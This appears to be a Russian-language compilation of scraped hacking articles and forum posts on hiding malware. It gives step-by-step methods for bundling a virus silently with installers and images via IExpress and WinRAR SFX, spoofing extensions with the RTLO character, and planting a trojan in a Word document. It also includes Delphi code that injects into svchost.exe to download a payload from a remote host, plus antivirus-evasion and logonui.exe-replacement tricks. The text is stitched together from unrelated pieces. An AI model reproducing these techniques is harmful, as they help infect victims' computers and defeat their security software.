Как спрятать вирус в txt
Как спрятать вирус .
Всем привет, в этой статье я изложу основные действия, которые предпринимает хакер, для того, чтобы спрятать вирус . Первое, что напрашивается – это спрятать вирус в какую-то программу, чтобы тот запустился вместе с установочным файлом программы. Так сказать, под шумок. Пользователь ведь всё равно что-то устанавливает – авось и не заметит… Вот почему, кстати, крайне важно проверять все файлы без исключения, которые попадают на компьютер или ноутбук.
С помощью этой техники можно спрятать вирус , но обычно хакеры подсовывают в упаковку программы-шпионы, кейлоггеры, наблюдая за действиями клавиатуры, изображениями монитора и даже делая снимки с веб-камеры, которая, как вам кажется, в данный момент выключена.
Как спрятать вирус в программу?
Итак, задача взломщика – спрятать исполнительный файл вируса в другой исполнительный файл. Сделать это хакеру нужно незаметно от глаз пользователя. Так вот, спрятать вирус можно несколькими способами, для этого есть немало программ, но внутри Windows есть небольшая встроенная утилита, которая сама неплохо справляется с такой задачей. Причём не хуже платных аналогов. По опыту и немного забегая вперёд, скажу, что использование именно этого упаковщика даёт хакеру несколько неоспоримых преимуществ – утилита идёт с цифровой подписью Windows Genuine (понимающие о чём речь сейчас должны утвердительно кивнуть головой), а это очень важно при последующей распаковке файла. Да-да, та самая утилита IExpress. Она входит в сборку Windows с незапамятных времён и спроектирована для создания именно исполнительных файлов.
Для начала вызовем программу. Сочетание Win + R. Далее вводим команду iexpress
Если файл только что создаётся, можно сразу нажать на кнопку Next, так как по умолчанию выполнится команда Создать новый самораспаковывающийся файл. В следующем окне, которое спросит, что должно произойти после распаковки, делаем тоже самое, нажав на кнопку Next (выполнится команда Распаковать файлы и запустить как установку)
Следующее окно попросит назвать распаковывающийся файл:
Следующее окно о лицензии можно пропустить (но иногда хакеры вставляют и довольно объёмные чужие тексты о соблюдении прав на программное обеспечение: выглядит убедительно, тем более это никто читать-то не будет). Но мы для наглядности пропустим.
Следующее окно – важное. Оно-то и предлагает вам Создать список файлов, которые будут запакованы в файл. Хакер, как и простой производитель программ, может подкинуть туда пару рисунков или фотографий, чтобы спрятать вирус понадёжнее, и чтобы тот основательно потерялся среди прочих файлов. Я это не буду делать для быстроты эксперимента и позже укажу только два файла.
Всё, что вам нужно сделать, это указать расположение файлов. Среди них и можно спрятать вирус (один из файлов я так и назвал):
Следующее окно уточнит, что в списке является основной командой, а что – так… придаток. Хакер укажет сначала на вирус:
В следующем окне система спросит, прятать ли процесс установки от пользователя или показывать так или иначе. А зачем прятать – антивирус-то отключён! Оставляем прямо так:
Ещё не всё. Следующее окно попросит указать фразу, следующую за окончанием установки, или оставить запуск программы как есть. Выберите сами и нажмите Next.
Далее выбирается путь установки вируса по умолчанию, который будет предложен нерадивому пользователю (я выбрал прямо Рабочий стол). Но хакер обязательно выставит галочку в первом пункте (в окне справа напротив Hide File Extracting…):
Следующее окно тоже оставьте по умолчанию (Перезагрузка по усмотрению). Снова кнопка Next (Далее).
Осталось совсем немного. Нажмите в появляющихся окнах последовательно кнопку Далее и сюрприз от хакера готов.
Нажмите кнопку Finish (Финиш).
Маленький недочёт: ярлык созданного файла будет иметь ярлык исполнительного файла от Microsoft. Его тоже можно будет сменить. Как сменить ярлык исполняемого файла можно прочитать в этой статье.
Теперь вы знаете многое. Не попадитесь на такую удочку.
Создаем фото, или любой другой файл с вирусом
В данном случай я выбрал метод картинки. Картинку можно использовать любую, но я в качестве примера взял картинку Кроноса(бога времени) он тут будет выступать главным лицом.
Создаем фото с вирусом метод 1
Дальше будет ваш файл который вы будете маскировать под вирус, ваша картинка, а также будут 2 иконки. И так заходим в папку "Collection_OCX" и находим файл "Resgistrator.OCX" открываем и нажимаем регистрация, подождите пока дело дойдёт до конца. Правда будут несколько ошибок, но на них не обращайте внимания.
Закрываем окно и возвращаемся назад. Далее выделяем наш вирус и вашу картинку под которую вы будете его маскировать, нажимаем правую кнопку
Ставим галочку "создать SFX-arxiv", а метод сжатия выбираем максимальный. В разделе "Дополнительно" на параметры SFX, там мы указываем путь для распаковки наших файлов, там где будет картинка И там где будет вирус, ради примера я указал диск “C”
В разделе "Установка", нам первом делом надо скопировать всё название нашей картинки с расширением, дальше нажимаем ENTER и пишем название нашего вируса.
Во вкладке "Режимы" мы ставим галочку "Скрыть всё", а в раздел "Дополнительно" мы не трогаем, раздел "Обновления" мы выбираем 2 пункт везде, извлечь и обновить файлы, перезаписать файлы.
Теперь отправляемся в раздел "Текст и графика" здесь нам потребуются иконки которые я упомянул в начале.
Пишем названия файла которого вам нужен в Google, например (jpg file icon) и находите подходящий для вас. А также есть сервисы которые за вас всё сделают, конвертируют из jpg в ico или из png в ico, так что проблем вы не найдёте при конвертации файлов в формат иконки. :
После того как вы нашли пустую иконку какого нибудь графического файла, мы возвращаемся в архив и в разделе "Загрузить значок SFX из файла" нажимаем Обзор и выбираем именноего (нашу иконку).
Маскируем расширение Exe
У нас появляется архив вот такого типа: названия папки.ехе, однако иконка выглядит как будто у нас это графический документ.
Теперь мы с вами будем избавляться от расширения EXE. Как же это сделать ? Нам потребуется программа, где нарисована зелёная капелька (открываем её). Откроется реклама, но вы не обращайте внимания на это, выбираем здесь файл что будет криптовать, в этой графе выбираем тот файл под который мы будем его якобы маскировать (jpg), нажимаем "Change Extension" и ожидаем завершение нашей операции.
Появится файл exe.jpg, здесь у обычного человека ломается логика, ведь если мы выбираем левую часть то у нас выделяется правая часть, всё очень просто расширения поменялось местами с основным текстом.
Создаем фото с вирусом метод 2
Теперь давайте перейдём к 2 методу чтоб мы могли понять как расширения EXE стало зеркальным, нам необходимо открыть файл "unicodeinput", но здесь мы ничего не нажимаем, возвращаемся в директорию и зажимаем клавишу SHIFT + нажимаем правый клик мышки, и выбираем раздел "Открыть окно команд", здесь мы пишем следующие команду….
- Названия нашего почти скрытого вируса
- Пробел
- Вставляем названия вируса
- Удаляем расширения EXE.
- Зажимаем ALT
- Нажимаем на "+" который находится в блоке NumLock,. У нас открывается наше окошко которое мы с вами свернули и не обращали внимание.
- Здесь мы вписываем команду "202e"
- Жмем Send
- Могут появиться плюсики, (они нам не нужны) удаляем их.
Теперь появился файл который мы создали с расширением jpg, его также можно дополнить некоторыми символами чтоб не было слишком подозрительно.
Можете открыть данный файл, данное изображения будет открываться в течение 2-3 секунд, на экране появится ваша картинка, а то что задали в директорию уже будут файлы которые вы указали(ваш вирус).
Вирус автоматически запустится так что не забудьте его закрыть через диспетчер задач.
Создаем фото с вирусом метод 3
Ну а теперь перейдём к 3 методу, и это будет полезно даже тем просто хочет свои файлы от глаз других на самом видном месте. В нашей директории опять зажимаем SHIFT + нажимаем правый клик мышки, и выбираем раздел "Открыть окно команд", и вписываем здесь вот такую интересную команду:
File1– названия вашей картинки, либо если будет музыка ставим.mp3
File2 название вашего файла который хотите скрыть, также можете вместо вируса скрыть другой файл и поменяем расширение,
Появится картинка, оно открывается без лишней погрузки, но если мы нажмём правой кнопки и выберем "Открыть с помощью winrar", то здесь у нас будут наш вирус или файл который вы скрыли.
Здравствуйте! В этом посте (первом) я покажу, как создавать вирус шутку через блокнот. Сразу прошу не бомбить и не писать гневные комменты типа: "Да такого миллион!", "Да что ты знаешь!", "Да пошел ты в жопу!" и т.д. Да, я знаю, что эти "вирусы" создавали давно. Но я к примеру открыл для себя это совсем недавно. Месяца 3 назад.
Ближе к делу: я буду рассказывать что эта шутка вообще делает, буду вставлять скрины и все объяснять. Напомню, это ознакомительный пост! В других постах я буду конкретно писать, как создать такой-то вирус.
Вирус-шутка это программа, которую создают в блокноте. Т.е. пишешь там команды и сохраняешь их определенных форматах. Если все правильно сделано, без ошибок, то вирус-шутка сработает. Кстати, "вирус-шутка" это условное название. В блокноте можно создать и игру, и крестики нолики, часы.
ПРЕДУПРЕЖДЕНИЕ. Перед созданием вируса отключите Анти-Вирус.
1) Создание вируса: Для начала откройте блокнот.
2) В блокноте начинайте писать команду. Для начала скопируйте этот текст туда:
msgbox"Ты не против, если я буду жить у тебя в компе?",32+4,"Вопрос"
msgbox"Ок, ты не против",64,"Я понял"
msgbox"Ок, ты не против",64,"Я понял"
msgbox"Это шутка, это НЕ вирус :) ХАХАХАХА",64,"Я пошутил"
msgbox"Или же нет. ",64,". "
Я НЕ ЖЕЛАЮ ВАМ ЗЛА! ЭТОТ ВИРУС НЕ МОЖЕТ ПРИНЕСТИ ВАМ И ВАШЕМУ КОМПУ ВРЕДА!
3) Сохраните ваш текст в формате .vbs Смотрите далее.
4) Теперь у вас на Рабочем столе должен появиться вот такой значок:
5) Заходите в него.
6) У вас должен открыться вирус-шутка. Если же не работает, то два варианта: либо у вас включен Анти-Вирус, либо ваш комп не поддерживает это.
7) НЕ ПУГАЙТЕСЬ! ВИРУС-ШУТКА НЕ ПРИНЕСЕТ ВРЕДА. Теперь вам осталось читать то, что там написано, и кликать по кнопкам (любым).
Вы можете изменить в команде вируса текст. Например вместо "Windows удалить?" можно написать "ставьте лайки!". Удачи вам, экспериментируйте со своими вирусами!
И так, как я обещал, это был ознакомительный пост. Вскоре я выложу пост, где подробно опишу все значения, как все делать и т.д. Отпишитесь в тапках как вам мой пост, киньте скрины своего вируса. Мне будет интересно :D
сука! у меня винда удалилась!
Не ври. Этот вирус-шутка и близко такого сделать не может.
ТС, у вас тоже снегопад? Занятия в школах отменили?
Да, отменили. Вот и сижу, "клавотюкаюсь".
Мне хочется узнать все подробно как это работает что обозначает msgbox, цифры 64; 32+4
"msgbox" - название команды, которая выводит стандартный диалог. Цифрами выбирается стиль отображения (иконка внутри диалога и воспроизводимый звук при открытии). Также стилем выбираются кнопки (их текст и количество)
Отображаемых иконок всего 4: ошибка, вопрос, восклицание и внимание. Столько-же звуков.
Кнопок в связке по более:
Ок
Ок, Отмена
Да, Нет
Да, Нет, Отмена
Повтор, Отмена
Пропустить, Повторить Отменить
Т.к. эти диалоги выдаются системой, то можно указать только заголовок и текст диалога. Свой текст кнопок или свою иконку Вы не сможете установить. Можно вывести диалог без иконки. Вроде ничего не забыл. Давно увлекался этим, потом перешел на норм. язык программирования.
Ой, а может поможете раз разбираетесь?
Хочу коллегу разыграть/ поздравить с днем рождения. Он в командировке сейчас. Хочу ему на почту файл бросить который в определенный день ему на принтер выведет поздравление. Как можно батник сделать, чтобы он себя в автозагрузку прописал и именно в определенный день сработал? Ну и удалился потом, чтоб он не догадался.
В инете поискал, там только на удаление доков батники) и определенного дня нельзя поставить.
Если хотите именно батник, то можно попробовать использовать планировщик Windows, но с батниками куча ограничений.
О поздравлялке: даже если Вы отправите эл. письмо с батником или exe-шником, то поздравление не сработает, пока его не скачают и не запустят. В некоторых случаях почтовый сервис может отправить письмо в папку "Спам" (пользователь его не увидит), либо при скачивании файл заблокирует антивирус, но это все маловероятно.
На счет печати принтером: это можно, но обязательно? Можно например вывести на экран красивый диалог, или картинку :)
Нет с программкой не тот эффект))) Да и вк нету.
Просто хотелось отправить на почту письмо, (его обязательно откроют, так как с этого адреса только по работе приходит, да и с чувством опасности у людей проблемы))), чтоб этот файл прописался в планировщик или в автозагрузку, а в нужный день отправил бы на печать текст. Там принтер ежедневно включают, так что по-любому бы удивил)))
Я батники когда-то давно делал. Даже похожий прикол видел, когда из планировщика каждый день на печать выходит "Ты умрешь через *** дней", "Ты умрешь завтра", "Это случится сегодня". Но там надо было за компом посидеть, чтоб настроить. А как это "дистанционно" через почту сделать я не знаю.
В любом случае спасибо.
Хм, думаю, что через батник хоть и сложно, но реально: батник запускает установщик Windows (msiexec.exe) с параметром, который скачает и установит программу и документ с текстом печати. Программа прописывается в автозапуск и следит за датой и временем системы. Как только дата начала наступает, программа запускает скрытый процесс Microsoft Office Word (winword.exe) с параметром начала печати нашего документа. Программа делает какую-нибудь отметку на каком-либо ресурсе (сайте или сервере), что она успешно отработала. Запускается msiexec.exe с параметром удаления нашей программы (программа удаляется с компьютера).
Несколько вопросов:
- на компьютере есть MS Office Word? Иначе придется создавать документ формата .rtf (поддерживается системой без доп. софта)
- проще изначально в письме использовать не батник, а именно приложение (exe-файл, т.к. не придется сначала создавать, а после скачивать установщик). Если нужно, то предоставлю исходный код приложения. Язык программирования - AutoIt 3. Его синтаксис очень напоминает рассматриваемые в посте скрипты. Так может лучше обойтись без батника?
- нужны дата запуска печати документа и текст поздравления
- желательно заранее знать, какая операционная система установлена на компьютере, где будет выполняться "поздравлялка" (XP, Vista, 7, 8, 8.1, 10 или серверные редакции систем Windows)?
Открываем Microsoft Office Word 2007, копируем подготовленную ранее склейку и вставляем в документ (можно просто перетащить файл мышкой в нужное место документа)
У нас появилось изображение с иконкой от SFX склейки и подписью о названии файла троян.exe
Название конечно можно было заранее переименовать в любое, но вот избавиться от разоблачения расширения "exe" это не помогло бы.Но мы это легко можем обойти
Сохраняем полученный документ, проследив чтобы он сохранился с расширением docx.
Теперь сохранённый документ открываем в винраре (программой WinRAR).Нам откроется следующее:
.
Далее заходим в папку word:
Затем заходим в папку media:
В папке media мы видим файл image1.wmf - это изображение.
Достаём этот файл и смотрим его размеры - в нашем случае размеры 175 X 50 пикселей.
Теперь ищем подходящую картинку соответствующего размера для замены, или рисуем сами.
Сохраняем эту картинку под названием image1, если не можете сохранить с расширением wmf, можете сохранить с расширением jpg
Если вам удалось сохранить изображение в формате wmf, то можете сразу заменить им стандартное, просто перетащив его мышкой в открытое окно винрара. Если вы сохранили изображение в формате jpg, то вам необходимо сменить расширение изображения на wmf
Изменить расширение можно при помощи Total Commander, или WinRAR.
В итоге у нас получилось следующее:
При клике по изображению запустится наша склейка и установится троян.
Изначально для внедрения в документ, склейку трояна в данном варианте, делать желательно с картинкой, чтобы на самом деле открылось аналогичное изображение, только большего размера. Вместо надписи "Теперь при клике по изображению снизу, запустится наш троян" естественно нужно написать что то другое. К примеру вы можете создать нечто вроде каталога товаров, с маленькими изображениями товаров, при клике на которые открывается более крупное изображение.
Из недостатков описанного метода склейки трояна с документом, следует отметить:
- Необходимо кликнуть в документе по изображению/ссылке для запуска трояна.
- Возможно при клике по изображению выскочит окно безопасности с вопросом "Запускать или не запускать файл".
В комментарии ниже к этой статье была информация о том,как избавится от окошка с предупреждением системы безопасности.
Часто при попытке запустить файлы, скачанные из интернета, появляется примерно такое окно:
Как Windows определяет, что файл был загружен из Интернета
Зато альтернативные потоки NTFS можно легко посмотреть в консоли обычной командой DIR с ключом /R
Просмотр альтернативных потоков NTFS при помощи команды DIR
Можно воспользоваться консольной утилитой Streams от Mark Russinovich.
Просмотр альтернативных потоков NTFS при помощи программы Streams
Для любителей оконных интерфейсов есть замечательная программа NTFS Stream Explorer, которая тоже позволяет обнаружить и посмотреть альтернативные потоки NTFS.
Просмотр альтернативных потоков NTFS при помощи NTFS Stream Explorer
Или бесплатная утилита AlternateStreamView от NirSoft.
Просмотр альтернативных потоков NTFS при помощи программы AlternateStreamView
Что же интересного записано в этом файле, а главное, как его открыть? Проще всего это делается при помощи обычного Блокнота, который входит в состав каждой Windows. Набираем в командной строке следующее:
notepad C:\setup.exe:Zone.Identifier
В Блокноте открывается содержимое альтернативного потока Zone.Identifier. Да, это самый обычный текстовый (а точнее ini) файл:
Содержимое альтернативного потока NTFS
Параметр ZoneId=3 отвечает именно за то, чтобы файл считался небезопасным, и на основании именно этого значения система принимает решение о показе предупреждения.
Хорошо, наличие спрятанного альтернативного потока мы определили, его содержимое посмотрели. А дальше-то что? А дальше можно разблокировать основной файл путем удаления альтернативного потока.
Удаление альтернативного потока через программу Streams
Удаление альтернативного потока программой NTFS Stream Explorer
Удаление альтернативного потока программой AlternateStreamView
Альтернативный поток NTFS также удаляется при разблокировке файла через меню Проводника Windows. После удаления потока файл запускается без каких-либо предупреждений.
Можно ли заблокировать файл обратно? Да, можно. Для этого, как несложно догадаться, надо создать альтернативный поток Zone.Identifier с нужным содержимым. Делается это при помощи все того же Блокнота уже знакомой нам командой:
notepad C:\setup.exe:Zone.Identifier
На запрос о создании нового файла надо ответить подтверждением.
Создание альтернативного потока NTFS вручную
Осталось записать в созданный файл потока строчки, отвечающие за блокировку основного файла, и сохранить изменения.
[ZoneTransfer]
ZoneId=3
После этого файл снова становится небезопасным со всеми вытекающими последствиями. Путем несложных экспериментов я также выяснил, что значение ZoneId=4 при попытке запустить файл приводит вот к такому интересному эффекту:
Файл полностью заблокирован
То есть файл становится полностью блокированным для запуска. Пусть ваша фантазия подскажет вам, где это можно использовать.
Напоследок хочу предупредить вас, что неразумное создание или удаление альтернативных потоков может привести к непредсказуемым последствиям, вплоть до сбоев в работе системы. Как и при работе с любыми другими внутренностями Windows, надо быть очень осторожным
Небольшой гиф-обзор инструкции (от меня)
Вирусописание – очень актуальная тема на сегодняшний день. Рынок антивирусного ПО просто кишит разнообразными продуктами так или иначе защищающим ПК от малвари. В этой статье я расскажу об обмане известных антивирусов – Касперского 7.0, avast!, NOD32, также расскажу о том, как используя исходник давно уже известной малвари написать вирус, не палящийся антивирусами, добавив всего каких-то 5 – 6 строчек кода в него.
Итак, нам надо готовый исходник сделать невидимым для антивируса. Можно для этого, конечно, переписать и извратить весь код вируса таким образом чтобы тот уже не распознавался антивирусным ПО, но это надо писать, думать головой, стучать по клаве, к тому же на это требуется много времени, так что этот способ не подходит. Можно просто с нуля писать вирус, но ведь это тоже работает не всегда, у продвинутых антивирусов имеется эмулятор, огромная база, эвристика, при этом также нужно придумывать особый алгоритм, которого еще нет в базах антивирусов и это займет еще больше времени.
uses
Windows, WinSock;
< Определение положения подстроки в строке >
Function MyPos(Substr, Str: PChar): dword; stdcall;
asm
mov eax, Substr
mov edx, str
test eax, eax
je @noWork
test edx, edx
je @stringEmpty
push ebx
push esi
push edi
mov esi, eax
mov edi, edx
push eax
push edx
call lstrlen
mov ecx, eax
pop eax
push edi
push eax
push eax
call lstrlen
mov edx, eax
pop eax
dec edx
js @fail
mov al, [esi]
inc esi
sub ecx, edx
jle @fail
@loop:
repne scasb
jne @fail
mov ebx, ecx
push esi
push edi
mov ecx, edx
repe cmpsb
pop edi
pop esi
je @found
mov ecx, ebx
jmp @loop
@fail:
pop edx
xor eax, eax
jmp @exit
@stringEmpty:
xor eax, eax
jmp @noWork
@found:
pop edx
mov eax, edi
sub eax, edx
@exit:
pop edi
pop esi
pop ebx
< Копирование строк >
Function MyCopy(S:PChar; Index, Count: Dword): PChar; stdcall;
asm
mov eax, Count
inc eax
push eax
push LPTR
call LocalAlloc
mov edi, eax
mov ecx, Count
mov esi, S
add esi, Index
dec esi
rep movsb
end;
< Копирование участка памяти >
procedure MyCopyMemory(Destination: Pointer; Source: Pointer; Length: DWORD);
asm
push ecx
push esi
push edi
mov esi, Source
mov edi, Destination
mov ecx, Length
rep movsb
pop edi
pop esi
pop ecx
end;
Function DownloadFile(Address: PChar; var ReturnSize: dword): pointer;
var
Buffer: pointer;
BufferLength: dword;
BufferUsed: dword;
Bytes: integer;
Header: PChar;
Site: PChar;
URL: PChar;
FSocket: integer;
SockAddrIn: TSockAddrIn;
HostEnt: PHostEnt;
Str: PChar;
WSAData: TWSAData;
hHeap: dword;
begin
Result := nil;
hHeap := GetProcessHeap();
WSAStartup(257, WSAData);
Site := MyCopy(Address, 1, MyPos('/', Address) - 1);
URL := MyCopy(Address, MyPos('/', Address), lstrlen(Address) - MyPos('/', Address) + 1);
Buffer := HeapAlloc(hHeap, 0, 1024);
try
BufferLength := 1024;
BufferUsed := 0;
FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_port := htons(80);
SockAddrIn.sin_addr.s_addr := inet_addr(Site);
if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
begin
HostEnt := gethostbyname(Site);
if HostEnt = nil then Exit;
SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
end;
if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) = -1 then Exit;
Str := HeapAlloc(hHeap, 0, 1024);
lstrcpy(Str, 'GET ');
lstrcat(Str, URL);
lstrcat(Str, ' HTTP/1.0'#10#13'Host: ');
lstrcat(Str, Site);
lstrcat(Str, #13#10'Connection: close'#13#10#13#10);
send(FSocket, Str^, lstrlen(Str), 0);
HeapFree(hHeap, 0, Str);
repeat
if BufferLength - BufferUsed 0 then Inc(BufferUsed, Bytes);
until (Bytes = 0) or (Bytes = SOCKET_ERROR);
Header := MyCopy(Buffer, 1, MyPos(#13#10#13#10, Buffer) + 3);
ReturnSize := BufferUsed - lstrlen(header);
Result := VirtualAlloc(nil, ReturnSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if Result = nil then Exit;
MyCopyMemory(Result, pointer(dword(Buffer) + lstrlen(header)), ReturnSize);
finally
HeapFree(hHeap, 0, Buffer);
end;
end;
< процедура выполняющаяся в контексте доверенного приложения >
Procedure Download(); stdcall;
const
URL : PChar = '192.168.0.58/1.mp3';
var
Buff: pointer;
Size: dword;
Bytes: dword;
dFile: dword;
begin
LoadLibrary('wsock32.dll');
Buff := DownloadFile(URL, Size);
dFile := CreateFile('c:\1.mp3', GENERIC_WRITE, 0, nil, CREATE_NEW, 0, 0);
WriteFile(dFile, Buff^, Size, Bytes, nil);
CloseHandle(dFile);
ExitProcess(0);
end;
var
St: TStartupInfo;
Pr: TProcessInformation;
InjectSize: dword;
Code: pointer;
Injected: pointer;
BytesWritten: dword;
Context: _CONTEXT;
t:textfile;
cmd:string;
begin
ZeroMemory(@St, SizeOf(TStartupInfo));
St.cb := SizeOf(TStartupInfo);
St.wShowWindow := SW_SHOW;
// запускаем процесс, которому разрешено лезть на 80 порт
CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);
Code := pointer(GetModuleHandle(nil));
InjectSize := PImageOptionalHeader(pointer(integer(Code) +
PImageDosHeader(Code)._lfanew +
SizeOf(dword) +
SizeOf(TImageFileHeader))).SizeOfImage;
// выделяем память в процессе
Injected := VirtualAllocEx(Pr.hProcess, Code, InjectSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// внедряем код
WriteProcessMemory(Pr.hProcess, Injected, Code, InjectSize, BytesWritten);
// изменяем контекст нити
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(Pr.hThread, Context);
Context.Eip := dword(@Download);
SetThreadContext(Pr.hThread, Context);
// запускаем процесс
ResumeThread(Pr.hThread);
end;
Теперь попробуем закомментировать строчку в основной части программы, где вызывается API CreateProcess - так вирус работать не будет вовсе, все обвалится еще в самом начале, но и антивирусами он после этого палиться не будет.
Мы подошли к основной части статьи – сейчас мы перепишем исходник так, чтобы он сохранил работоспособность и при этом перестал палиться антивирусами. Поступим следующим образом: вместо того, чтобы просто вызвать CreateProcess сделаем нечто вроде интерпретатора команд. Он будет читать строку из файла и сравнивать ее с каким-нибудь символом/строкой и при совпадении вызывать CreateProcess. Самый простейший способ – это модифицировать код вот так: вместо CreateProcess(nil, 'svchost.exe', nil, nil, false, CREATE_SUSPENDED, nil, nil, St, Pr); напишем эти 6 строчек кода:
AssignFile(t,'1.txt');
reset(t);
readln(t,cmd);
CloseFile(t);
if cmd = '1' then CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);
Естественно, переменные cmd, t нужно объявить. Способ простейший, но все таки он отлично работает, при этом чем больше важных участков вируса исполняются таким образом, тем эффективнее получается механизм. Но все таки в идеале этот код – отдельная процедура, которая опять же вызывается подобным образом – только при совпадении строки, прочтенной из файла с эталонной. Далее описан еще один пример переделки этого кода - сначала создаем отдельную процедуру:
Procedure MyVirusStart(str:string);
Var cmd:string;t:textfile;
Begin
AssignFile(t,'1.txt');
reset(t);
readln(t,cmd);
CloseFile(t);
if cmd = '1' then CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);
End;
А код модифицируем, вместо
CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);
Напишем вот так:
AssignFile(t,'1.txt');
reset(t);
readln(t,cmd);
CloseFile(t);
if cmd = '2' then MyVirusStart;
И все! Наш вирус невидим! Главное – найти основное место в коде вируса, то без чего он станет абсолютно безопасным, да и вообще не будет работать.
Этот алгоритм довольно простой, его можно еще более усовершенствовать, сделать так, чтобы команды генерировались вирусом и им же исполнялись и т.д.
Продолжим. Допустим нам нужно внедрить DLL с вредоносным кодом в какой-либо конкретный процесс (например, для того, чтобы поставить хук). Можно, конечно, использовать метод, описанный выше, но не факт, что удастся просто так осуществить чтение инструкций из файла, ведь в зависимости от того, в какой именно процесс мы внедряемся, в его таблице импорта может и не быть функций для работы с файлами (проверил на опыте – работает не всегда). Можно, правда, внедрить в процесс код загрузки нужных DLL, но ведь это не всегда требуется, а нам нужно создать абсолютно универсальный код.
Можно сделать так: завести, например, массив, состоящий, скажем из десяти элементов – строк или чисел (кому как удобно, лично мне по душе числа), каждый элемент это команда. Далее пишем процедуру, которая нужную команду для вируса пишет в массив в ячейку со случайным номером. Далее все делается аналогично первому способу: выбирается главное действие вируса, перед ним вызываем созданную процедуру, помещающую команду в массив и перебираем массив пока не встретим нужную команду. Итак, вот такой получается код:
// генерируем команду и кладем ее в рандомую ячейку массива а
procedure writecmd;
var i,c:integer;
begin
for c:=0 to 10 do a[c]:=0;
i:=random(900);
i:=i+1;
a[random(11)]:=i; // а – массив
end;
А в коде вируса вставляем следующие строчки
for j:=0 to 10 do
if a[j]<>0 then CreateProcess(nil, 'svchost.exe', nil,
nil, false, CREATE_SUSPENDED, nil, nil, St, Pr);
// здесь вызываем главное действие вируса
// в данном исходнике это CreateProcess
Как видно, это очень простой код, но он эффективно защитит твой вирус от обнаружения, базы идут лесом – вирус разделяется на абсолютно безвредные сами по себе части, и антивирусу заранее неизвестен ход его выполнения. Этот метод можно многократно усовершенствовать и он подходит практически для любых исходников (я думаю такой простой код переписать на С++ труда не составит никому :)).
Итак, что нам нужно сделать:
- Основную операцию записи в память перенесем в отдельную функцию;
- Создадим обработчик IOCTL команд;
- Свяжем IOCTL команду с процедурой записи в память(модификации кода).
Для начала создадим процедуру, модифицирующую код ядра:
// Здесь формируется код IOCTL в драйвере
#define TESTDRV_TYPE 40000
#define IOCTL_IOPM_FUNCTION \
CTL_CODE(TESTDRV_TYPE, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
NTSTATUS WriteKernelMemory()
<
// Здесь устанавливаем перехват на какую-нибудь функцию
.
>
NTSTATUS OnDeviceControlHandle(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP pIrp
)
<
int i;
I = 9;
I = i+177;
NTSTATUS ntStatus = STATUS_SUCCESS;
PIO_STACK_LOCATION irpSp;
// Длина входного буфера
ULONG inBufLength;
// Длина выходного буфера
ULONG outBufLength;
// Указатель на входной и выходной буфер
PULONG ioBuffer;
// Получаем указатель на драйверный стек
irpSp= IoGetCurrentIrpStackLocation(pIrp);
// Входной и выходной буфера и их длины
inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;
ioBuffer = (PULONG) pIrp->AssociatedIrp.SystemBuffer;
// собственно обработка команд
switch ( irpSp->Parameters.DeviceIoControl.IoControlCode )
<
// обработка кода функции IOCTL_IOPM_FUNCTION
case IOCTL_IOPM_FUNCTION:
<
If(i!=0)
WriteKernelMemory;
break;
>
>
// Завершение рабочей процедуры
pIrp->IoStatus.Information = inBufLength;
/* Размер выходного буфера */
pIrp->IoStatus.Status = ntStatus;
IoCompleteRequest( pIrp, IO_NO_INCREMENT );
return ntStatus;
>
Естественно, для обработки IOCTL команд нужно обязательно создать объект устройства.
Подведем итоги : мы защитили вредоносный код от палева и вырубили Касперский проактив, теперь, пользуясь приведенными примерами вполне можно сотворить из готового исходника вполне работоспособный и не палящийся антивирусами вредоносный код.
Ну ладно, с антивирусными базами разобрались, а как быть с проактивной защитой антивируса Касперского (у него она хотя бы нормально работает, относительно…)? Ведь он будет бузить даже при попытке элементарно поставить хук. При интенсивном исследовании возможностей проактива, предлагаемого Каспером, таковой способ был найден.
Касперский, по непонятным мне причинам, не бузит, когда производится замена виндовских исполняемых файлов своими версиями и это очень хорошо )). Но у каспера есть проверка целостности системных файлов. К счастью, каспер проверяет только малую часть файлов оси (у него для этого и список имеется), но пользователь может добавлять в черный список и свои файлы, поэтому такие файлы, как, например winlogon.exe или lsass.exe заменить вряд ли удастся. Решение проблемы – замена файла logonui.exe, лежащего в дире %SystemRoot%\system32 ну и естественно в %SystemRoot%\system32\dllcache. Файл этот отвечает за экран входа в систему и по моему зря товарищи из Майкрософта сделали так, что этой exe-шке
позволено и со всеми файлами работать, и в реестр писать, и сервисы грузить и много чего еще. Следовательно, грамотно пропатчив данный файлик можно очень хорошо напортачить, а самое главное, что заменив этот файл можно поудалять половину всех файлов каспера, что несомненно гуд. Эта возможность распространяется и на другие антивирусы. Итак, все сводится к тому, чтобы написать прогу, очень напоминающую по внешнему виду экран входа в систему, заменить ей штатный logonui.exe и дело в шляпе!
Кстати, я крайне не советую для этой цели использовать API CopyFile и подобные, во избежание палева, лучше написать процедуру копирования файлов самостоятельно (это очень просто делается) и защитить ее описанным ранее алгоритмом.
Читайте также: